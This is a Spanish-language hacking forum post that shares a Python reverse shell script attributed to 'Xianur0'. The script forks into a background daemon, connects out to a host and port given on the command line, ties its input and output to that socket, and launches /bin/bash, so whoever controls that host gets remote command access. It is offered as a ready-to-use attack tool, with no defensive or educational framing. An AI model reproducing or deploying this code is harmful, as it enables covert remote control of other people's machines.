[Python] Advance Reverse Shell By Xianur0

Iniciado por ProcessKill, Febrero 24, 2010, 04:07:57 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Febrero 24, 2010, 04:07:57 PM Ultima modificación: Mayo 03, 2014, 02:51:11 AM por Flemon
Este Reverse Shell en python, trabaja como daemon en memoria, es decir, individualmente se carga en la memoria y se ejecuta en segundo plano :)..

Código: python
#!/usr/bin/env python -u

# By Xianur0
# [email protected]

import sys, socket, os

if len(sys.argv) != 3:
print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
host = str(sys.argv[1])
port = int(sys.argv[2])
handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
pid = os.fork()
if pid > 0:
print 'Fork No Valido!'
handler.connect((host, port))
print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"
os.dup2(handler.fileno(), sys.stdin.fileno())
os.dup2(handler.fileno(), sys.stdout.fileno())
handler.sendall(('\n<-------------------------Advance Reverse Shell By Xianur0-------------------->\n'))
while handler.recv:
handler.sendall(('\n\nXianur0:~ '))
os.system('/bin/bash')
except:
print "[!] Error conectando"